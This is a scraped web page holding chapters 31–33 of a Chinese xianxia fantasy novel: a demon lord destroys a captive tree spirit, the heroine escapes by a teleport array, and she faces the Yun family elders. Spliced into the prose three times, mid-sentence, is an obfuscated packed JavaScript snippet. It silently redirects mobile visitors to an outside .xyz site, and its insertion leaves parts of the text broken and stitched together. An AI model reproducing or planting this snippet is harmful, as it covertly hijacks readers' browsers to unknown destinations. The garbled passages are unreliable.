;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老夫出关后法力跌至得境中期,只好夺舍一名凡人童子,以他的身份重新修炼。又过了四十五年再次修到净境中期,可那五个逆徒大多都已到了化境,老夫的复仇仍遥遥无期。” 他在焦躁愤恨中辗转徘徊,修行更为受阻,不惜通过投机取巧或者歪门邪道来提速。 稍后还真让他遇上大机缘。 一名臻境男修声称能带他寻宝,将他骗至这座峡谷。 他到了方知有诈,谷中困着一个异常强大的邪灵,那臻境男修是他的仆人,专替他诱拐中低阶修士做食粮,好积蓄力量逃出囚笼。 这邪灵就是他口中的主人。 “主人一眼看穿我心中执念,他说他恰好到了需要更换仆人的时候,又很中意我这种有决心毅力的手下,于是吃了那名臻境男修,让我接替他的职务。” 原来那邪灵在一千五百年前被强敌镇压,苦熬八百年才逐渐以法力渗透毁掉了小部分封印,神识能够在谷中有限的空间内活动。 后又花了数十年炼化整座峡谷,布置成陷阱捕捉偶然进入他狩猎范围的修士和妖兽,吞噬其灵力。 高阶修士和大妖们背景深厚,他招惹不起,后来抓到低阶修士便施法控制,逼迫其为自己寻找口粮。等对方修为增长,不易把控时再果断换人。 静水是邪灵的第四任奴仆,了解邪灵的经历处境后,他不似前任那般被动地听任指挥,而是积极为主人出谋划策。 邪灵数百年来吃了六百多个化境以下的小修士,照这速度再吃上几千年也凑不够脱困所需的灵力。 一个化境修士的灵力能抵三百个净境修士,若成功骗几个没根基的化境散修来吃,将大大提升效率。 静水的目标正是那五个逆徒,邪灵很高兴地采纳了他的建议,并教授功法助其快速晋级至臻境。 静水出谷后先以海外修士的身份接近周显宗,花了数年时间与其建交,再寻机骗他修炼邪灵的功法。 周显宗修为突飞猛进,令师弟们惊奇,数番请教未果后心生猜疑。 又过了十多年,逆徒尹天佑也进阶化境,静水见时机成熟,立刻去德康城夺舍黎申,冒充他离间周显宗和黎修鳞。 “老夫骗黎修鳞说周显宗独占了师门的功法,带那小子来峡谷地洞查看,又教了他一些厉害的法术,说都是从周羽珞那儿套来的,使得他深信不疑。那五个逆徒坏得半斤八两,认定周显宗藏私后,另外四人便联手灭了周家满门。至于周羽珞为何能活下来。不止是那丫头运气好,更因为老夫故意没杀她。” 周羽珞重伤后躲在山谷中,静水和黎修鳞前去搜查时闻到了她身上的血腥味,假装不知。他见周显宗临死前骗凶手们藏宝咒语在周羽珞那儿,认为这说法正好能钩住逆徒们,以便拖延时间等吴奇也进阶化境后再带他们去见邪灵主人。于是想让周羽珞自生自灭,误导黎修鳞等人以为人已逃走。 “那丫头倒挺能耐,竟改修了鬼道,还不知死活地回来卧底。” 周羽珞夺舍吴嫣然不久便被老辣的静水识破真身。 这歹毒老鬼正好拿她消遣,觉得任意玩弄仇人的女儿能使复仇更具快感。 “年初吴奇终于成功升阶,老夫正寻思如何诱他们就范,你这小丫头就出现了。老夫原本只想拿你做饵,再搭上个平野居士已足够向主人交差了,没想到你还自作聪明跟周羽珞商量用幻术浑水摸鱼。老夫听了大喜过望,那些被你们骗来的修士正好一并给我的主人果腹。刚才你已经见识到主人的威力了吧?今晚过后他将彻底脱困,称霸整个人界。而我作为他的忠仆和功臣也将飞黄腾达,站到修真界的最顶端。” 31.对线 听完这个波谲云诡的故事,冉彤收拢心绪,如同冲锋前的战士确定了攻击目标。 这老鬼才是促成周姐姐悲剧的罪魁祸首,杀害她,玷污她,愚弄她,最可恨的是破坏了她和黎申的感情。 冉彤想起黎申在景阳宫为周羽珞刻下的祈福祝语,对那个可怜的男人心生歉意。 他应该从未变心,若知道周羽珞那样误解憎恨他该多伤心难过。而周羽珞心中最大的伤口正是爱人的绝情背叛,她是带着遗憾离去的,永无机会明白真相了。 她沉稳地问静水:“周姐姐和黎申与你并无冤仇,你这么祸害他们,不觉得太伤天理?” “天理?”静水哈哈大笑:“这世上哪有什么天理?人不狠,站不稳,心不毒,难立足。老夫就是活生生的例子。只有心狠手辣让仇人断子绝孙方消我心头之恨。” 他尽兴狂骂一通,沾沾自喜讽刺:“老夫也非无情之人,那日在碑林不是为这对小情侣刻祝语了吗?愿他们早结连理,琴瑟和谐。是周羽珞修鬼道,自行断送了与情郎团聚的机会,岂能怪老夫。” 他打算说完这句话便杀了冉彤,先听她纵声呼喝。 “受死!” 冉彤猝然扔出摄魂珠,今天她好几次差点使用这法宝,积攒的杀念都倾注到这一击。 静水见她之前在地洞旁受困将死也没动武反抗,据此推测她没有厉害的法宝傍身,时隔百年再度载在麻痹大意上。 红雾般的摄魂虫群劈头盖脸包住他叮咬,刹那间剥夺他全部力气。 “你若是鬼修这摄魂虫还伤不到你,还好你以生魂夺舍,今日便叫你恶贯满盈!” 静水的生魂被啃食殆尽,剩下死魂想逃跑,被冉彤一把擒住。 少女无限恶毒地瞪视她,那神气他常在照镜子时看到,明白意味着什么,张皇求饶:“小友,你放我一马吧,来世我愿为你做牛做马!” 冉彤以前学演戏,觉得狞笑最难,笑到脸疼嘴歪仍学不像。 这会儿情绪到位,面部肌肉自然而然跟随发力,直接笑出狞恶的精髓,还附带掌握了相应的语气。 “你不是说人不狠,站不稳,心不毒,难立足吗?多谢赐教。” 她在静水的惊叫声中发动天罡真雷,一举劈散了他的魂体,望着空中渐逝的冥河动情说道:“周姐姐,我替你报仇了。” 在老魔的镇符逼迫下,毒瘴正向峡谷西北部聚集,老魔送走所有遇害的死魂,好整以暇地来到邪灵的防线前。 “别费力气了,你逃不掉的。” 他每次脚踏实地就会踩出一片金色的莲花形符文,法力直达地底,切割邪灵的魂体,斩断他盘旋交错的树根。 邪灵吃痛不过,咆哮声穿透土层,震动山谷:“老贼欺人太甚!你囚禁我一千五百年,也该解恨了,为何还不肯放过我?” 老魔训斥:“老夫当年镇压你并非出于私心,你这厮修习魔功,杀孽深重,一切下场都是咎由自取。老夫将你关押于此是想让你虔心思过,可你恶性难改,千百年来仍不断造孽为害。那黎修鳞是你放出的饵线之一吧,老夫看了他下禁制的手法就猜到是你这厮作祟。” 静水冒充黎申交给黎修鳞一些邪灵传授的功法,包括独特高效的追踪禁制。 那日老魔发现冉彤身上的追踪禁制后便疑心黎修鳞与这邪灵有过接触。之后又在枫林州发现有人用幻术散布假消息,诱骗修士去囚禁邪灵的峡谷寻宝,便悄悄跟了来。 邪灵通过四任仆人得知老魔于千年前被离恨天镇压,尚未听说他近期已越狱出逃,否则打死不敢闹出这么大动静。 眼下天敌来犯,他示弱不成,唯有决一死战,先凶狠叫嚣:“少摆臭架子了,真以为自己还是当年的你吗?且看今日谁能活着走出这座峡谷!” 地底钻出无数尖刀状的树枝,瞄准老魔疯狂戳刺。 见老魔灵活飞闪,邪灵欢呼:“你到底还是怕了,有本事别躲啊!” 以前较量时老魔都稳如磐石,躲避说明他法力衰退,不敢硬扛敌人的攻击了。收到鼓舞, 邪灵加快进攻节奏,不止地面,附近的山石崖壁上也钻出大量坚硬锋利的枝丫根茎,前赴后继,争先恐后地围攻目标。 “哈哈哈,整座山谷都是老子的地盘,看你往哪儿逃!” 邪灵狂笑刺耳,老魔不屑冷哼,呵斥:“老夫只是不想沾到你的浊气,抬头看看吧!” 半空中不知何时聚集了大片紫色云团,等邪灵发现时,紫云里垂直射下多如牛毛的紫焰,那些枝丫根茎遇之即焚,四周登时烧成了火焰山。 “老东西,你耍我!” 邪灵吃了亏,方知老魔故意引蛇出洞,骗他暴露法体,方便一举歼灭。 老魔停在一处空地上,捏诀念咒,瞬间地裂百丈,地壳破碎,逼出邪魔的主体。 持续不断地轰隆巨响中,地底升起一株合围十丈的巨树,飞快长到与临近的高山齐平,繁茂的枝干笼住峡谷,树冠下瘴气弥漫,透出惨绿色的荧光。 正对老魔的主干上浮现一个比普通堂屋还大的巨脸,像个狼眼鹰鼻,方口厚唇的中年男人。 老魔见邪灵只有脸还依稀看得出原貌,厌恶地皱起眉头:“你居然把自己搞成这副德性了。” 这邪灵原是大椿树仙长春真人神庙里的庙祝,长春真人死后,这庙祝偷吃了他的仙体,获得超强法力。 之后靠着这法力招摇撞骗,继续吃人练功,成为危害一方的恶霸。 在被封印的一千五百年里,他完全与长春真人的仙体融合,变成了不人不鬼的树妖。 邪灵无路可逃,准备殊死一搏,嘶吼着给自己壮胆。 “我有仙气护体,量你杀不死我!” 老魔蔑笑:“连长春子都死在老夫手里,遑论你这靠吃他尸体发迹的妖人。” 他双手结印,紫焰訇然窜遍树身,将其烧成一把巨型火伞。火光冲天,照透方圆百里。 火焰中流动着金色的符文,这些符文催化了紫焰的威力,连带着灼烧邪灵的魂体,疼得他呜哇怪叫,慌忙投降乞怜。 “前辈我错了,真的错了!您大慈大悲,再饶我一次吧!” 老魔分化元神,念咒对话两不误。 “老夫说话向来算数,上次封印你时就说过那是你最后的机会。” 邪灵的神魂开始瓦解,更凄惨地叫喊哀求:“我不想死,求您留我一丝残魂,我发誓痛改前非!” 老魔平和道:“老夫这洞罡太玄咒只净化邪秽,你若天良未泯,自会遗留残魂。” 说完,另一半元神已念完整篇咒语,巨树垮塌,分解成微小的灰烬随风扬散,邪灵的魂体也消失得一干二净。 老魔低声叹息:“自作孽不可活。”,而后做法拆除绝灵阵,疏通灵脉,使灵气重新贯通,将这种死寂一千五百年的峡谷归还给芸芸众生。 他料理完这一切,看向北面高耸的山峰,朗声道:“此间风波已毕,沐夫人还打算逗留多久呢?” 峰顶红光乍现,那朱厌大妖沐晴夫人现身,友善地向他打招呼:“听闻阁下劫满复出,没想到有幸在这儿相遇,自然得当面行礼才是。” 这女妖怪是由邪转正的,此后仍同妖族里那些为非作歹的群体藕断丝连。 老魔出山不久,不清楚她的近况,客套道:“夫人改修太乙上清道后灵力已然纯净不少,还望再接再厉,争取早日正道。” 沐晴夫人了然笑谑:“刚见面就不忘敲打,阁下果然还是老样子。敢问可寻回了您那位夫人?错了,应该说成前任夫人才对。” 老魔被扎了心窝,不悦地沉默着。 沐晴见玩笑过了头,忙赔不是:“阁下知我不善言辞,说错话可千万别见怪。我也是心疼我那三个表妹,这一千年她们始终挂念阁下,还巴望着得您垂怜,能奉箕帚之欢呢。” 她越说越出格,老魔不愿理睬,即刻礼貌道别:“鄙人还有事在身,恕不奉陪了。” “等等!” 沐晴叫住他,正色知会:“阁下有空还是去朱雀族看看吧,这一千年来风袖的日子可不好过啊。” 老魔正挂怀此事,郑重道:“谢夫人提醒,待我处理完私事自会逐一了结过去留存的因果。” 沐晴点头,善意劝说:“据我所知,妖族中不少朋友都很关心阁下,如需帮忙不妨去找他们,我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475201|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐意为您效劳,就怕您信不过我。” 老魔当年给过妖族各部落莫大恩惠,和很多大妖交厚,想寻求些助力并不难。可是离恨天与妖王们定有互不干涉的协议,老魔不愿把善妖们卷入争端,而恶妖们只会对他落井下石,现阶段最好远离。 他搪塞:“夫人说笑了。” 沐晴调侃:“我可是真心实意的,知道你烦人啰嗦就不多话了,阁下多保重。” 女妖乘云遁去,老魔转身下山去捉漏网的小老鼠。 刚才,远在十几里外的冉彤听到老魔与邪灵战斗时的震天巨响,也观看到妖树生长和紫火焚天等壮观异像。 她心惊胆战,明白再不逃走必死无疑,可是没找到阿黄,实难狠心离开。 阿黄伤得那么重,能去哪儿呢?多半已被树根吃掉了,我不能再耽搁,必须马上逃……可是……万一阿黄还活着呢?它肯定在等我去救它,我不能丢下它! 她放开神识四处搜索,正急得想哭,眼前紫光晃动,老魔已避开她的探查来到跟前。 “你还在这儿,看来知道自己逃不掉。” 冉彤唬得炸毛,本能地施法激活老魔体内那缕天罡真雷。 法术石沉大海,反惹对方黑脸:“你以为老夫还会被你暗算第二次?” 老魔神情严肃,冉彤对他的性格有一定了解,此人喜怒形于色,面皮紧绷说明真的很生气。 “前、前辈威武,成功降服了邪魔,晚辈佩服。” 她硬装乖巧,努力说废话周旋,老魔已失去耐心,先戳破她的伪装。 “那张皮是周羽珞的,你还想霸占多久?” 脸皮发热融化,冉彤赶忙撕下来。 死到临头,她为活命不择手段,自尊、羞耻、道德一切皆可抛,佯装受逼迫,飞速扒光衣服褪去人皮,赤裸身体,双臂紧紧环抱胸口,尖声斥责:“你一个上了年纪的老人家再生气也不能这样对待女孩子啊!” 君子都怕理亏,她想让老魔理亏,好争取生路。 老魔活了两千七百多岁,见过太多寡廉鲜耻的妖女,且修为高深,像她这种乳臭未干的毛丫头纵然光着身子,在他眼中也如同初生婴儿,是以反应如常,当即掷出自己的长袍裹住她,忍住厌恶斥责:“居然还会鬼道的换皮术,你这丫头实在太狡猾了。” 他判断冉彤是幕后棋手精心培养的卒子,也认定真的周羽珞已被她杀害了。 冉彤连番欺骗戏弄老魔,自知信用破产,怎么辩解都无用,虚怯问:“前辈打算如何处置我?” “老夫想当场灭了你。” 老魔声音毫无温度,真动了杀心。 冉彤慌忙央求:“若是晚辈想活命,该怎么做?” 她想这魔头好行善,心肠应该硬不到哪儿去,凭她的模样装可怜兴许能换取苟活。 老魔想先审问她,开口前先感应到西南方向有众多高阶修士正集结迫近,是离恨天的部从。 离恨天势力遍及十州,下设耳目已获悉仙人墓梦谕一事,先派了两个探子混入寻宝者队伍实地查看。 那二人亡于邪灵之手后,他们的上司立即获悉死讯,率领三百人赶来剿匪。 老魔决定先对付这帮渣滓,布阵困住冉彤,威胁道:“此阵硬闯即死,老实呆着吧。” 冉彤见紫光闪逝,连忙捡起衣服穿上。 她相信老魔不会说大话,这法阵万万碰不得,可是原地等死更不符合她的个性,脑筋急转,掏出日前用《云影仙踪记》换取的乾坤挪移阵。 那高人说此阵只能在万不得已时使用,进入前必须做好防护,可见风险巨大。 再危险也算一条生路,拼! 她穿上玄鳌灵甲,贴身揣好神木牌、凝魂珠、映真镜,取出一粒周羽珞留下的“天心万安丸”含在口中,其余两颗攥在手里。 临行前她瞥见被丢弃在地上,揉成一团的老魔的外袍,想了想,蹲下将其折叠整齐,认为这样或许能稍微减少老魔的愤怒。 乾坤挪移阵启动,她望着阵盘里透出的金光,心脏狂跳,低声祈祷:“爹,你要保佑彤儿活着过关。” 说罢紧闭双眼,纵身跳入法阵。 32.故里 那领队的修士名号“后村居士”,六百余岁已达到极境初期大圆满,在天权殿任灰衣长老,属于离恨天内的少壮派。 随行的三百人里有他五名极境初期的师弟妹,其余人多是后村和他们的弟子,修为最低的也有臻境中期。 后村原想凭这支队伍能轻松剿灭匪徒,进入峡谷后敲响镇山锣,以龙吟功向谷内喊话:“何方妖人在此作乱!快快出来受降!” 阵前紫光忽闪,一位蓝衣美少年出现在圆月里。 后村和师弟妹们一齐认出老魔,都像麻雀见鹰,亡魂丧胆。 老魔对离恨天深恶痛绝,跟别人尚有耐心说话,遇见离恨天的爪牙不愿多给一个眼神,冷酷道:“给你们两个选择,要么走,要么死。” 正常人肯定都想选前者,后村为人不迂腐,悄悄传音向老魔谈判。 “我等自知非前辈对手,可奉命前来剿匪,若不战而走恐受严责。还请前辈行个方便,稍微与我等过两招,让我方人员挂些彩负点伤,有个力战不敌的样子。” 老魔见他还算识相,莞尔:“老夫手重,怕你们连一招都经不起,你还是自己想法糊弄吧。” 后村与师弟妹们秘议后,恳求:“那就请前辈用幻术为我等打个掩护,如何?” “使得。” 老魔挥手甩出万道紫焰,以各种妖兽的形态扑向敌人,实则都是虚假的幻像。 后村等人躲在幻像中施法袭击众弟子,瞬间打伤上百人,接着反手自残,人人落了个重伤吐血。 “这魔头手段了得,快撤!” 后村带头撤退,三百人鸡飞狗走,转眼逃得精光。 风波彻底平息,峡谷宁静如初。 老魔回去找冉彤,法阵尚完好,人却不见了,阵内残留的痕迹显示,她是通过乾坤挪移阵之类的手段逃脱的。 使用那种阵法至少需要臻境以上修为,她一个胜境中期的菜鸟进去无异于自杀。 “狡猾的丫头。” 老魔看着叠得方方正正的外袍,很清楚冉彤安的什么心,觉得自己遇上了世所罕有的怪胎。 聪明绝顶,凶狠狡诈,通晓世故,擅于玩弄人心,还胆大妄为,敢豪赌冒奇险。 选中她做棋子的人眼光委实毒辣,这小妖女再多受几年培养还不修成精? ……绝不能让她活命。 冉彤跳进乾坤挪移阵方知此举不啻找死。 阵内空间以超出她所能承受的速度转换着,仿佛无穷无尽烧红的刀片切割身体。她不得不发动全部灵力对抗这种伤害,略一放松就会被肢解。 “天心万安丸”真成了保命灵药,她在阵内连吞两颗才未伤重毙命。 数息地狱之旅后终于被怪力甩出法阵,她顾不上查看环境,急急吞下第三颗“天心万安丸”,落地时皮开肉绽,溅出一片密密麻麻的血点,难忍的剧痛逼着她不断惨叫,十指连续抠地,刨出两道深深的沟壑。 熬到丹药生效,血汗已浸透衣衫,她数次咬牙鼓劲才挣扎着爬起来,跌跌撞撞往前走出几步便不支跌倒,顺着草坡翻滚下跌,扑通一声落进浅溪里。 溪水只漫过她一侧脸颊,柔柔抚摸她,缓缓冲走她身上的血水。 她像一颗即将蒸发的水滴,意识与躯壳分离,各自陷入黑暗。 昏迷了很长时间,苏醒时已到了次日下午。 她爬到岸边,躺在松软的草地上喘气,抬起手去撩黏在脸上的湿发,只见手上的皮肤都被水泡得皱巴巴的,估计其他部位也一样,照镜子就会看到一个满脸皱纹的小老太婆。 管它呢,能活下来就不错了。 她用神识查看周边区域,确认此处是一座无人的深山,目前看还算安全。 而后检查物品,储物袋不见了,去周围找了一圈,只捡回乾坤挪移阵盘,储物袋确定是落在法阵里了。 如今身边只剩凝魂珠、神木牌、映真镜、玄鳌灵甲、乾坤挪移阵还有戴在头上的不夜珠发簪。 等等,不夜珠怎么裂开了!? 她握住发簪仔细查看,不夜珠上出现几条毫毛般的小裂纹,已失去灵力。 这下只能留着自用了,她轻轻叹气,忽然发觉内心并不遗憾。当初说卖掉簪子换钱只是留住它的借口,她还没完全放下云宿雨,准确的说是还没找到妥善的方式为二人的情缘收尾。 反复剧烈折腾那么久,发髻还没松散,看来是这发簪另一个功效,这么实用的东西不能发光了也没啥。 她休息片刻就地打坐调息,有神木牌在,法力恢复得很快,再睁开眼,斜阳已将景物镀成淡金色。 该往哪个方向去呢? 她削了根尖头木棍,向天祷告后让尖端着地,竖起木棍,见棍子倒向东北方便朝那方前进。 低空飞行十余里,景物竟渐渐熟悉,但见群山嵯峨,老枫参天,青云般重叠的树荫里藏着鸟鸣猿啼,碧玉似的清溪边时有野鹤成群。林地里乱花渐欲迷人眼,秀峰上飘飘隐现白云飞。 穿过山谷,前方横亘一座长条形外观酷似屏风的青山,山上生长着成片的杜鹃,正是花季,姹紫嫣红开遍,映衬夕辉宛若屏风上的彩绣,绚烂夺目。 这里是翠屏山! 冉彤惊讶止步,翠屏山离烈阳不远,父母曾在半山腰修筑别苑,她的童年时代有一半是在这里度过的。 那乾坤挪移阵在没预设坐标时会将使用者送到本人认为最安全的地方。 于是这座藏在冉彤潜意识里的童年乐园便被法阵自动选定为目的地,是她昨天急着出阵才令地点些许偏移。 此地属于云家的势力范围,不能停留。 可是眼前景物勾起冉彤对双亲的强烈思念,推动她走向废弃的故居。 那片竹篱砖墙的茅屋早已坍塌,蜿蜒玲珑的□□淹没在及腰深的杂草中,当年柳飞绵精心栽种的奇花灵植都无迹可寻了,父亲练字作画的石案石凳也已倒塌碎裂。 门前的小石桥还保持原状,小时候她常在桥上钓鱼捞虾。桥边那棵斜生的老枫树依然枝繁叶茂,最粗的枝干上曾挂着父亲用花藤为她制作的美丽秋千。 在学会御风术前她最喜欢在这里荡秋千,荡到最高处能望见远方的烈阳城。 堂姐们曾在城里看到她荡秋千,说她穿着鹅黄色的小衫,桃红色的裙子,头上梳着漂亮别致的发髻,是她们没见过的样式。 “是娘照着古画上的神仙给我梳的,因为我跟爹爹说想做小仙女,爹爹就去找了本神仙的画册,让娘照着画里的模样打扮我,他说娘就是仙女,所以我一生下来就是小仙女。” 那时他们一家三口多么快乐啊。 父亲每天陪她上山玩耍,教她认花木鸟兽,给她做各种精巧玩具。 母亲喜欢用五颜六色的花卉染布,给她裁剪过数不清的美丽衣服,教导她:“女孩子从小就要穿得干净漂亮,这样长大后衣着打扮才会得体。” 她最初喜欢跟父亲修炼,学不好父亲会哄她,跟着母亲则要挨罚。 后来她反而喜欢让母亲教了,因为那样进步快,她有了长进,全家都高兴。 父亲喜静,为满足新奇好动的她,可以每日陪她到处乱逛。 母亲喜动,为了做她喜欢的菜和点心,情愿整天呆在厨房。 她最爱家里的大竹榻,把它摆在院子里,夜里躺着看星星,父亲躺在右边,母亲躺在左边,轮流给她讲神仙和星星的故事。 星河每晚都在变化,故事每次都不重复。 日复一日,年复一年。 他们在这山明水秀,远离尘嚣的山居里尽享天伦,赏春天的花,夏天的雨,秋天的枫,冬天的雪,看日出日落,繁星明月。 爹娘是一对神仙眷侣,她是他们爱的结晶,三个人组合成完美无缺的家庭,生活幸福到不忍回忆。 彤儿,爹带你去骑飞马。 彤儿快回家吃饭了。 彤儿今天的功课做完了吗?别以为有你爹护着就放心偷懒。 彤儿的眼睛真漂亮,谁说你不像你娘了,爹说像就像。 彤儿,你以后想成为什么样的人呢? 彤儿,爹和娘这么爱你,所以你必须学会好好爱自己。 ………… 微风习习,和儿时的她一样顽皮,不停撩动她的发丝衣带,拨弄她滴落的泪珠。 记忆那么美好,仿佛雪夜小屋的玻璃窗,她被隔绝在冰天雪地中,望着窗内的温暖心如刀绞。 比起自己经受的苦难,她更为父母难过,那样一对相知相爱,许诺生生世世做夫妻的佳偶,竟像天上的参商星永难重聚了。 爹,娘,彤儿一定为你们报仇! 冉彤双拳紧握,咬牙欲碎,转身时映入眼帘的景象狠狠撞击她的心房,眼白上又爬出几根的血丝。 云家老家主云天阔和夫人文罗元君正坐在石桥另一端,跟前摆着茶案茶具,身旁风炉上烧的水即将滚开,看来已静静看守她多时了。 他二人是极境修士,能避开她的神识,亲自前来抓捕足见志在必得。 文罗看她的表情依旧慈祥,说:“彤儿,一年不见你瘦多了,在外面吃了很多苦吧?可怜见的,快来喝杯仙草茶补补元气。” 冉彤不想研究她是真情还是假意,含恨问:“只有你们两个吗?怎不多带些人来?” 文罗叹气:“一年前我在这附近放了几处鹰眼,白天发现你回来了,特地和老头子赶来接你。彤儿,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云天阔拍案而起,文罗忙劝他别跟小孩子计较。 冉彤自知路走到尽头,今日绝难从这二人手下超生,因此无所顾忌,鼓足法力催动内丹。 “你们不是要我的天罡真雷吗?都拿去吧!” 雷电四射,烧焦周围草木。 云天阔见她要爆丹自尽,倏地抛出一件金色法宝。 那法宝外观酷似车轮,停在半空飞速转动,射出耀眼金光,霎时压制住冉彤体内的丹力。 “这是道祖采五金之精华,亲手炼制的‘万冶轮’,专用以降服天巫族人。你这点修为不足挂齿。” 那金光似针刺、石压、火烧,冉彤承受不住,五体投地爬倒,又疑又恨问道:“专克天巫族,这么说这东西是他交给你们狩猎天巫族人的,这一千年你们杀了我多少同族!?” 文罗辩解:“这法宝一百年前才到我们手里,只用来对付过你母亲的叔叔。” 冉彤瞳孔颤动,柳飞绵曾告诉她,当年她从东大陆来到枫林州,是为了寻找失踪的叔父,由此在烈阳与冉鸣玉邂逅结缘。 此时这些往事都被窜连起来,拼凑出令人发指的阴谋。 云家谋杀了柳飞绵唯一的亲人,布置圈套,撮合她与冉鸣玉结为夫妻,使其定居烈阳,等待献祭之日,顺便留下骨血做下一任祭品。 “你们杀了我叔公,又利用我爹诱骗我娘!” 父母梦幻般的恋曲竟起源于龌龊的算计,倾注爱心培育的女儿只是别人消灾的工具,若得知真相,他们该情何以堪? 还有小师妹乔淡月,也是他们找来接替她的。 最珍贵的精神财富受到玷污,仇恨在冉彤体内迸发出毁灭般的力量,无惧伤筋动骨的疼痛,顶着金光撑起半身,右手心对准“万冶轮”,喷出一股黑火。 “不可饶恕,不可饶恕!” “三途烽燹”临阵升阶,进入到二重境界。 不止如此,她漆黑溜圆的瞳孔变成类似昆虫的竖状,头顶隐隐冒出血丝般的红烟。 “心魔返照!” 二老大吃一惊,心魔很少能突破神元限制对外显化,出现这种现象的人十有八九是魔界偷渡降生的魔种。 修真世家的孩子出生后会接受数次魂体测试,冉彤绝非魔种,此情此景昭示着另一种更骇人的可能。 “这丫头是天魔体!” 大部分人心中善恶共存,成分都不纯净,如黑白交融的灰色,混沌难分。 相传具备天魔体质的人善恶都很极端,似太极八卦黑白分明,当善征服了恶,即为神。当恶压倒了善,即为魔。 神话里烈阳城的护法天魔即是代表。 拥有天魔体的皆是不祥之人,注定成为灭世灾星,众神有谕,见则除之。 云天阔更有了杀掉冉彤的正当理由,收回最后一丝柔情,粗暴呵斥:“你这孽障竟骗了我们这么久,还不速速伏法!” 33.代打 金光的压迫感陡增了一倍,将冉彤狠狠按倒,砸碎地表,溅起许多细小的石渣还不算,更侵入肌肤,穿刺经络关节,准备彻底废了她。 冉彤不肯向仇人示弱,嚼齿穿龈苦撑。 文罗见状很不落忍,劝丈夫:“你莫下这么重的手,回头宿雨该心碎了。” 云天阔骂她妇人之仁。 “天魔体现世主大凶,我说这丫头怎么能闯出那么大的祸呢,敢情生来就是个灾星。你少插嘴,留她一口气就好。” 冉彤痛恨不甘,想死得轰轰烈烈,至少给仇敌留下不灭的阴影,让他们在余生里寝食难安。 被压制的内丹忽然产生灵力波动,是那蓝衣老魔,他就在附近! 冉彤料想老魔正在看戏,不会错过这里的风吹草动,忙用神识传音。 “前辈快来帮我杀了这二人!否则您定会追悔莫及!” 老魔果有回应,冷斥:“你这丫头临死还敢威胁老夫。” 冉彤态度强硬:“晚辈是没资格威胁您,可这两个老贼是道祖的拥趸,倘若把晚辈的内丹交给离恨天的太上长老,制成法宝来对付您,想必也会让您头疼吧。” 母亲的内丹蕴藏了几代先祖的雷力,若被修为高深的强人开发炼化,定是威力无穷的武器。老魔再厉害也是鬼修,遇上这等天然的克星仍很棘手。 老魔隐藏了气息,云天阔夫妇没有真雷感应,察觉不到,只听出冉彤在和某人对话,喝问:“孽障,你在跟谁讲话!?” 他们认定冉彤和魔道勾结,提防她来了帮手,忙不顾分寸地伤残她。 冉彤周围突然迸发出一道紫色的火墙,击退万冶轮的金光,灼人热浪将二老足足逼退百丈地,云天阔的胡子,文罗的发髻都被烧焦了。 奇的是现场草木生灵均未受紫焰损伤,鸟群仍在枝头蹦跳,鱼儿仍在水中嬉游,似乎没感受到那融金锻铁的热度。 酷刑结束,冉彤缓过一口气抬头看去。 一角蓝色的衣摆飘入眼帘,老魔伫立在她跟前,气定神闲地面对两个外表老迈的后辈,和气道:“小辈们,将这丫头交与老夫处置,如何?” 他通过旁听得知云天阔夫妇的身份,昌宁云家给他的印象尚可,也非离恨天的直属部下,故而得饶人处且饶人。 云天阔看不出老魔的修为,改用独门秘术探查,不料竟与对方的肉身产生血脉感应,立刻醒悟那是老幺儿云青峰的躯壳。 “当心,夺舍青儿的正是此人!” 收到丈夫的秘音,文罗亦惊。 当日离恨天开阳殿的长老告知他们,云青峰等人被冉彤勾结的魔道高手杀害,想必就是眼前这个蓝衣怪客。 杀子之仇不共戴天。 云天阔决意复仇,可看老魔的气度架势,辈分似乎高出他们不少,正道重礼仪,他决定先礼后兵,不急不躁招呼道:“阁下远道而来,云某准备不周,只有清茶一盏待客,还请阁下莫要嫌弃。” 他现场冲泡一杯灵茶奉上。 老魔接住飘来的茶杯,略嗅了嗅香气,夸赞:“千年树龄的云顶香韵,用上好的流光木炭烘焙,冰山灵泉髓烹煮,香气幽远,色泽深邃,可谓茶中上品。” 而后小呷一口,细细品味道:“不错,可惜煮茶的火力过猛,坏了茶叶的鲜润之气。古人云:石鼎春茸静自烹,寒泉暖焰战分明。想喝好茶还需多点耐性。” 冉彤听这几句话便知他是茶艺行家,亦是眼光独到的风雅之士,真羡慕他们这些活了上千岁的老怪物,有大把时间钻研学术爱好。 云天阔面沉如水道:“云某已尽到礼数,下面要有一事请教。不知阁下和犬子云青峰可有过节?” 老魔纳闷,冉彤提醒:“您在古城遗迹夺舍的红眼怪人就是云青峰。” 也不调查一下躯壳原主的来历,这缺心眼老鬼早晚还得栽跟头。 老魔明了,对云天阔说:“你想替儿子报仇啊,老夫也有几句话忠告送上。你云家是名门正派,历代家主都持家清正,可你那儿子暴戾狂躁,造孽极重,想来都是你教子无方,便不遇着老夫,早迟也会自取其祸。” 他的口吻完全是在批评不成器的后辈,云天阔大怒,抛出法宝追月刀。 刀尖受老魔的灵力隔档,余波震塌了后方山石,刀痕绵延数百丈,深入丛林斩断山涧。小石桥塌成碎块,溪水晃荡,浪高三尺,将许多小鱼抛到岸上。 冉彤若非躲在老魔身后定成了碎尸。 老魔泰然自若道:“我们换个地方吧,免得糟蹋了这方山水。” 空间陡转,四人来到一座空无一物的世界,是老魔的神识空间之一。 